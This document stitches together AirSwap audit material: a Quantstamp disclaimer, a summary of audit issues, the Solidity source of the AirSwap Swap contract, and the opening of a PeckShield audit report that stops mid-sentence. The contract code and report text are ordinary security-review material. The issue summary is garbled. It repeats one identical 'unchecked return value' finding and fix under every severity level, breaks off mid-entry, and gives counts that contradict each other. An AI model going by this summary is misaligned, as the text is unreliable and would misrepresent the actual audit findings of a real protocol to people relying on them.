confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
// SPDX-License-Identifier: MIT /* solhint-disable var-name-mixedcase */ pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "./interfaces/ISwap.sol"; /** * @title AirSwap: Atomic Token Swap * @notice https://www.airswap.io/ */ contract Swap is ISwap, Ownable { using SafeERC20 for IERC20; bytes32 public constant DOMAIN_TYPEHASH = keccak256( abi.encodePacked( "EIP712Domain(", "string name,", "string version,", "uint256 chainId,", "address verifyingContract", ")" ) ); bytes32 public constant ORDER_TYPEHASH = keccak256( abi.encodePacked( "Order(", "uint256 nonce,", "uint256 expiry,", "address signerWallet,", "address signerToken,", "uint256 signerAmount,", "uint256 protocolFee,", "address senderWallet,", "address senderToken,", "uint256 senderAmount", ")" ) ); bytes32 public constant DOMAIN_NAME = keccak256("SWAP"); bytes32 public constant DOMAIN_VERSION = keccak256("3"); uint256 public immutable DOMAIN_CHAIN_ID; bytes32 public immutable DOMAIN_SEPARATOR; uint256 internal constant MAX_PERCENTAGE = 100; uint256 internal constant MAX_SCALE = 77; uint256 internal constant MAX_ERROR_COUNT = 6; uint256 public constant FEE_DIVISOR = 10000; /** * @notice Double mapping of signers to nonce groups to nonce states * @dev The nonce group is computed as nonce / 256, so each group of 256 sequential nonces uses the same key * @dev The nonce states are encoded as 256 bits, for each nonce in the group 0 means available and 1 means used */ mapping(address => mapping(uint256 => uint256)) internal _nonceGroups; mapping(address => address) public override authorized; uint256 public protocolFee; uint256 public protocolFeeLight; address public protocolFeeWallet; uint256 public rebateScale; uint256 public rebateMax; address public stakingToken; constructor( uint256 _protocolFee, uint256 _protocolFeeLight, address _protocolFeeWallet, uint256 _rebateScale, uint256 _rebateMax, address _stakingToken ) { require(_protocolFee < FEE_DIVISOR, "INVALID_FEE"); require(_protocolFeeLight < FEE_DIVISOR, "INVALID_FEE"); require(_protocolFeeWallet != address(0), "INVALID_FEE_WALLET"); require(_rebateScale <= MAX_SCALE, "SCALE_TOO_HIGH"); require(_rebateMax <= MAX_PERCENTAGE, "MAX_TOO_HIGH"); require(_stakingToken != address(0), "INVALID_STAKING_TOKEN"); uint256 currentChainId = getChainId(); DOMAIN_CHAIN_ID = currentChainId; DOMAIN_SEPARATOR = keccak256( abi.encode( DOMAIN_TYPEHASH, DOMAIN_NAME, DOMAIN_VERSION, currentChainId, this ) ); protocolFee = _protocolFee; protocolFeeLight = _protocolFeeLight; protocolFeeWallet = _protocolFeeWallet; rebateScale = _rebateScale; rebateMax = _rebateMax; stakingToken = _stakingToken; } /** * @notice Atomic ERC20 Swap * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC20 token transferred from the signer * @param signerAmount uint256 Amount transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function swap( address recipient, uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) external override { // Ensure the order is valid _checkValidOrder( nonce, expiry, signerWallet, signerToken, signerAmount, senderToken, senderAmount, v, r, s ); // Transfer token from sender to signer IERC20(senderToken).safeTransferFrom( msg.sender, signerWallet, senderAmount ); // Transfer token from signer to recipient IERC20(signerToken).safeTransferFrom(signerWallet, recipient, signerAmount); // Calculate and transfer protocol fee and any rebate _transferProtocolFee(signerToken, signerWallet, signerAmount); // Emit a Swap event emit Swap( nonce, block.timestamp, signerWallet, signerToken, signerAmount, protocolFee, msg.sender, senderToken, senderAmount ); } /** * @notice Swap Atomic ERC20 Swap (Low Gas Usage) * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC20 token transferred from the signer * @param signerAmount uint256 Amount transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function light( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) external override { require(DOMAIN_CHAIN_ID == getChainId(), "CHAIN_ID_CHANGED"); // Ensure the expiry is not passed require(expiry > block.timestamp, "EXPIRY_PASSED"); // Recover the signatory from the hash and signature address signatory = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( ORDER_TYPEHASH, nonce, expiry, signerWallet, signerToken, signerAmount, protocolFeeLight, msg.sender, senderToken, senderAmount ) ) ) ), v, r, s ); // Ensure the signatory is not null require(signatory != address(0), "SIGNATURE_INVALID"); // Ensure the nonce is not yet used and if not mark it used require(_markNonceAsUsed(signatory, nonce), "NONCE_ALREADY_USED"); // Ensure the signatory is authorized by the signer wallet if (signerWallet != signatory) { require(authorized[signerWallet] == signatory, "UNAUTHORIZED"); } // Transfer token from sender to signer IERC20(senderToken).safeTransferFrom( msg.sender, signerWallet, senderAmount ); // Transfer token from signer to recipient IERC20(signerToken).safeTransferFrom( signerWallet, msg.sender, signerAmount ); // Transfer fee from signer to feeWallet IERC20(signerToken).safeTransferFrom( signerWallet, protocolFeeWallet, (signerAmount * protocolFeeLight) / FEE_DIVISOR ); // Emit a Swap event emit Swap( nonce, block.timestamp, signerWallet, signerToken, signerAmount, protocolFeeLight, msg.sender, senderToken, senderAmount ); } /** * @notice Sender Buys an NFT (ERC721) * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC721 token transferred from the signer * @param signerID uint256 Token ID transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function buyNFT( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerID, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) public override { _checkValidOrder( nonce, expiry, signerWallet, signerToken, signerID, senderToken, senderAmount, v, r, s ); // Transfer token from sender to signer IERC20(senderToken).safeTransferFrom( msg.sender, signerWallet, senderAmount ); // Transfer token from signer to recipient IERC721(signerToken).transferFrom(signerWallet, msg.sender, signerID); // Calculate and transfer protocol fee and rebate _transferProtocolFee(senderToken, msg.sender, senderAmount); emit Swap( nonce, block.timestamp, signerWallet, signerToken, signerID, protocolFee, msg.sender, senderToken, senderAmount ); } /** * @notice Sender Sells an NFT (ERC721) * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC20 token transferred from the signer * @param signerAmount uint256 Amount transferred from the signer * @param senderToken address ERC721 token transferred from the sender * @param senderID uint256 Token ID transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function sellNFT( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderID, uint8 v, bytes32 r, bytes32 s ) public override { _checkValidOrder( nonce, expiry, signerWallet, signerToken, signerAmount, senderToken, senderID, v, r, s ); // Transfer token from sender to signer IERC721(senderToken).transferFrom(msg.sender, signerWallet, senderID); // Transfer token from signer to recipient IERC20(signerToken).safeTransferFrom( signerWallet, msg.sender, signerAmount ); // Calculate and transfer protocol fee and rebate _transferProtocolFee(signerToken, signerWallet, signerAmount); emit Swap( nonce, block.timestamp, signerWallet, signerToken, signerAmount, protocolFee, msg.sender, senderToken, senderID ); } /** * @notice Signer and sender swap NFTs (ERC721) * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC721 token transferred from the signer * @param signerID uint256 Token ID transferred from the signer * @param senderToken address ERC721 token transferred from the sender * @param senderID uint256 Token ID transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function swapNFTs( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerID, address senderToken, uint256 senderID, uint8 v, bytes32 r, bytes32 s ) public override { _checkValidOrder( nonce, expiry, signerWallet, signerToken, signerID, senderToken, senderID, v, r, s ); // Transfer token from sender to signer IERC721(senderToken).transferFrom(msg.sender, signerWallet, senderID); // Transfer token from signer to sender IERC721(signerToken).transferFrom(signerWallet, msg.sender, signerID); emit Swap( nonce, block.timestamp, signerWallet, signerToken, signerID, 0, msg.sender, senderToken, senderID ); } /** * @notice Set the fee * @param _protocolFee uint256 Value of the fee in basis points */ function setProtocolFee(uint256 _protocolFee) external onlyOwner { // Ensure the fee is less than divisor require(_protocolFee < FEE_DIVISOR, "INVALID_FEE"); protocolFee = _protocolFee; emit SetProtocolFee(_protocolFee); } /** * @notice Set the light fee * @param _protocolFeeLight uint256 Value of the fee in basis points */ function setProtocolFeeLight(uint256 _protocolFeeLight) external onlyOwner { // Ensure the fee is less than divisor require(_protocolFeeLight < FEE_DIVISOR, "INVALID_FEE_LIGHT"); protocolFeeLight = _protocolFeeLight; emit SetProtocolFeeLight(_protocolFeeLight); } /** * @notice Set the fee wallet * @param _protocolFeeWallet address Wallet to transfer fee to */ function setProtocolFeeWallet(address _protocolFeeWallet) external onlyOwner { // Ensure the new fee wallet is not null require(_protocolFeeWallet != address(0), "INVALID_FEE_WALLET"); protocolFeeWallet = _protocolFeeWallet; emit SetProtocolFeeWallet(_protocolFeeWallet); } /** * @notice Set scale * @dev Only owner * @param _rebateScale uint256 */ function setRebateScale(uint256 _rebateScale) external onlyOwner { require(_rebateScale <= MAX_SCALE, "SCALE_TOO_HIGH"); rebateScale = _rebateScale; emit SetRebateScale(_rebateScale); } /** * @notice Set max * @dev Only owner * @param _rebateMax uint256 */ function setRebateMax(uint256 _rebateMax) external onlyOwner { require(_rebateMax <= MAX_PERCENTAGE, "MAX_TOO_HIGH"); rebateMax = _rebateMax; emit SetRebateMax(_rebateMax); } /** * @notice Set the staking token * @param newStakingToken address Token to check balances on */ function setStakingToken(address newStakingToken) external onlyOwner { // Ensure the new staking token is not null require(newStakingToken != address(0), "INVALID_FEE_WALLET"); stakingToken = newStakingToken; emit SetStakingToken(newStakingToken); } /** * @notice Authorize a signer * @param signer address Wallet of the signer to authorize * @dev Emits an Authorize event */ function authorize(address signer) external override { require(signer != address(0), "SIGNER_INVALID"); authorized[msg.sender] = signer; emit Authorize(signer, msg.sender); } /** * @notice Revoke the signer * @dev Emits a Revoke event */ function revoke() external override { address tmp = authorized[msg.sender]; delete authorized[msg.sender]; emit Revoke(tmp, msg.sender); } /** * @notice Cancel one or more nonces * @dev Cancelled nonces are marked as used * @dev Emits a Cancel event * @dev Out of gas may occur in arrays of length > 400 * @param nonces uint256[] List of nonces to cancel */ function cancel(uint256[] calldata nonces) external override { for (uint256 i = 0; i < nonces.length; i++) { uint256 nonce = nonces[i]; if (_markNonceAsUsed(msg.sender, nonce)) { emit Cancel(nonce, msg.sender); } } } /** * @notice Validates Swap Order for any potential errors * @param senderWallet address Wallet that would send the order * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC20 token transferred from the signer * @param signerAmount uint256 Amount transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature * @return tuple of error count and bytes32[] memory array of error messages */ function check( address senderWallet, uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) public view returns (uint256, bytes32[] memory) { bytes32[] memory errors = new bytes32[](MAX_ERROR_COUNT); Order memory order; uint256 errCount; order.nonce = nonce; order.expiry = expiry; order.signerWallet = signerWallet; order.signerToken = signerToken; order.signerAmount = signerAmount; order.senderToken = senderToken; order.senderAmount = senderAmount; order.v = v; order.r = r; order.s = s; order.senderWallet = senderWallet; bytes32 hashed = _getOrderHash( order.nonce, order.expiry, order.signerWallet, order.signerToken, order.signerAmount, order.senderWallet, order.senderToken, order.senderAmount ); address signatory = _getSignatory(hashed, order.v, order.r, order.s); if (signatory == address(0)) { errors[errCount] = "SIGNATURE_INVALID"; errCount++; } if (order.expiry < block.timestamp) { errors[errCount] = "EXPIRY_PASSED"; errCount++; } if ( order.signerWallet != signatory && authorized[order.signerWallet] != signatory ) { errors[errCount] = "UNAUTHORIZED"; errCount++; } else { if (nonceUsed(signatory, order.nonce)) { errors[errCount] = "NONCE_ALREADY_USED"; errCount++; } } uint256 signerBalance = IERC20(order.signerToken).balanceOf( order.signerWallet ); uint256 signerAllowance = IERC20(order.signerToken).allowance( order.signerWallet, address(this) ); uint256 feeAmount = (order.signerAmount * protocolFee) / FEE_DIVISOR; if (signerAllowance < order.signerAmount + feeAmount) { errors[errCount] = "SIGNER_ALLOWANCE_LOW"; errCount++; } if (signerBalance < order.signerAmount + feeAmount) { errors[errCount] = "SIGNER_BALANCE_LOW"; errCount++; } return (errCount, errors); } /** * @notice Calculate output amount for an input score * @param stakingBalance uint256 * @param feeAmount uint256 */ function calculateDiscount(uint256 stakingBalance, uint256 feeAmount) public view returns (uint256) { uint256 divisor = (uint256(10)**rebateScale) + stakingBalance; return (rebateMax * stakingBalance * feeAmount) / divisor / 100; } /** * @notice Calculates and refers fee amount * @param wallet address * @param amount uint256 */ function calculateProtocolFee(address wallet, uint256 amount) public view override returns (uint256) { // Transfer fee from signer to feeWallet uint256 feeAmount = (amount * protocolFee) / FEE_DIVISOR; if (feeAmount > 0) { uint256 discountAmount = calculateDiscount( IERC20(stakingToken).balanceOf(wallet), feeAmount ); return feeAmount - discountAmount; } return feeAmount; } /** * @notice Returns true if the nonce has been used * @param signer address Address of the signer * @param nonce uint256 Nonce being checked */ function nonceUsed(address signer, uint256 nonce) public view override returns (bool) { uint256 groupKey = nonce / 256; uint256 indexInGroup = nonce % 256; return (_nonceGroups[signer][groupKey] >> indexInGroup) & 1 == 1; } /** * @notice Returns the current chainId using the chainid opcode * @return id uint256 The chain id */ function getChainId() public view returns (uint256 id) { // no-inline-assembly assembly { id := chainid() } } /** * @notice Marks a nonce as used for the given signer * @param signer address Address of the signer for which to mark the nonce as used * @param nonce uint256 Nonce to be marked as used * @return bool True if the nonce was not marked as used already */ function _markNonceAsUsed(address signer, uint256 nonce) internal returns (bool) { uint256 groupKey = nonce / 256; uint256 indexInGroup = nonce % 256; uint256 group = _nonceGroups[signer][groupKey]; // If it is already used, return false if ((group >> indexInGroup) & 1 == 1) { return false; } _nonceGroups[signer][groupKey] = group | (uint256(1) << indexInGroup); return true; } /** * @notice Checks Order Expiry, Nonce, Signature * @param nonce uint256 Unique and should be sequential * @param expiry uint256 Expiry in seconds since 1 January 1970 * @param signerWallet address Wallet of the signer * @param signerToken address ERC20 token transferred from the signer * @param signerAmount uint256 Amount transferred from the signer * @param senderToken address ERC20 token transferred from the sender * @param senderAmount uint256 Amount transferred from the sender * @param v uint8 "v" value of the ECDSA signature * @param r bytes32 "r" value of the ECDSA signature * @param s bytes32 "s" value of the ECDSA signature */ function _checkValidOrder( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderToken, uint256 senderAmount, uint8 v, bytes32 r, bytes32 s ) internal { require(DOMAIN_CHAIN_ID == getChainId(), "CHAIN_ID_CHANGED"); // Ensure the expiry is not passed require(expiry > block.timestamp, "EXPIRY_PASSED"); bytes32 hashed = _getOrderHash( nonce, expiry, signerWallet, signerToken, signerAmount, msg.sender, senderToken, senderAmount ); // Recover the signatory from the hash and signature address signatory = _getSignatory(hashed, v, r, s); // Ensure the signatory is not null require(signatory != address(0), "SIGNATURE_INVALID"); // Ensure the nonce is not yet used and if not mark it used require(_markNonceAsUsed(signatory, nonce), "NONCE_ALREADY_USED"); // Ensure the signatory is authorized by the signer wallet if (signerWallet != signatory) { require(authorized[signerWallet] == signatory, "UNAUTHORIZED"); } } /** * @notice Hash order parameters * @param nonce uint256 * @param expiry uint256 * @param signerWallet address * @param signerToken address * @param signerAmount uint256 * @param senderToken address * @param senderAmount uint256 * @return bytes32 */ function _getOrderHash( uint256 nonce, uint256 expiry, address signerWallet, address signerToken, uint256 signerAmount, address senderWallet, address senderToken, uint256 senderAmount ) internal view returns (bytes32) { return keccak256( abi.encode( ORDER_TYPEHASH, nonce, expiry, signerWallet, signerToken, signerAmount, protocolFee, senderWallet, senderToken, senderAmount ) ); } /** * @notice Recover the signatory from a signature * @param hash bytes32 * @param v uint8 * @param r bytes32 * @param s bytes32 */ function _getSignatory( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal view returns (address) { return ecrecover( keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s ); } /** * @notice Calculates and transfers protocol fee and rebate * @param sourceToken address * @param sourceWallet address * @param amount uint256 */ function _transferProtocolFee( address sourceToken, address sourceWallet, uint256 amount ) internal { // Transfer fee from signer to feeWallet uint256 feeAmount = (amount * protocolFee) / FEE_DIVISOR; if (feeAmount > 0) { uint256 discountAmount = calculateDiscount( IERC20(stakingToken).balanceOf(msg.sender), feeAmount ); if (discountAmount > 0) { // Transfer fee from signer to sender IERC20(sourceToken).safeTransferFrom( sourceWallet, msg.sender, discountAmount ); // Transfer fee from signer to feeWallet IERC20(sourceToken).safeTransferFrom( sourceWallet, protocolFeeWallet, feeAmount - discountAmount ); } else { IERC20(sourceToken).safeTransferFrom( sourceWallet, protocolFeeWallet, feeAmount ); } } } }
Public SMART CONTRACT AUDIT REPORT for AirSwap Protocol Prepared By: Yiqun Chen PeckShield February 15, 2022 1/20 PeckShield Audit Report #: 2022-038Public Document Properties Client AirSwap Protocol Title Smart Contract Audit Report Target AirSwap Version 1.0 Author Xuxian Jiang Auditors Xiaotao Wu, Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 15, 2022 Xuxian Jiang Final Release 1.0-rc January 30, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/20 PeckShield Audit Report #: 2022-038Public Contents 1 Introduction 4 1.1 About AirSwap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper Allowance Reset For Old Staking Contracts . . . . . . . . . . . . . . . . . . 11 3.2 Removal of Unused State/Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.3 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4 Conclusion 18 References 19 3/20 PeckShield Audit Report #: 2022-038Public 1 | Introduction Given the opportunity to review the design document and related source code of the AirSwapprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AirSwap AirSwapcurates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. At the protocol level, each swap is between two parties, a signer and a sender. The signer is the party that creates and cryptographically signs an order, and the sender is the party that sends the order to the Ethereum blockchain for settlement. As a decentralized and open project, governance and community activities are also supported by rewards protocols built with on-chain components. The basic information of audited contracts is as follows: Table 1.1: Basic Information of AirSwap ItemDescription NameAirSwap Protocol Website https://www.airswap.io/ TypeSmart Contract Language Solidity Audit Method Whitebox Latest Audit Report February 15, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit: 4/20 PeckShield Audit Report #: 2022-038Public •https://github.com/airswap/airswap-protocols.git (ac62b71) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/airswap/airswap-protocols.git (84935eb) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact, and can be accordingly classified into four categories, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/20 PeckShield Audit Report #: 2022-038Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/20 PeckShield Audit Report #: 2022-038Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/20 PeckShield Audit Report #: 2022-038Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in 